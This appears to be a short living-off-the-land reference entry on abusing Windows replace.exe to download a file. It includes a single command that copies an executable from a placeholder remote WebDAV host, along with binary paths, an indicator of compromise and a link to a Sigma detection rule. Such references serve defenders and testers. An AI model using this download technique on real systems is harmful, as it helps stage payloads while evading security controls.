Used to replace file with another file
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
Download/Copy bar.exe to outdir
Download file
C:\Windows\System32\replace.exe, C:\Windows\SysWOW64\replace.exe
IOC: Replace.exe retrieving files from remote server, Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_replace.yml
elceef (@elceef)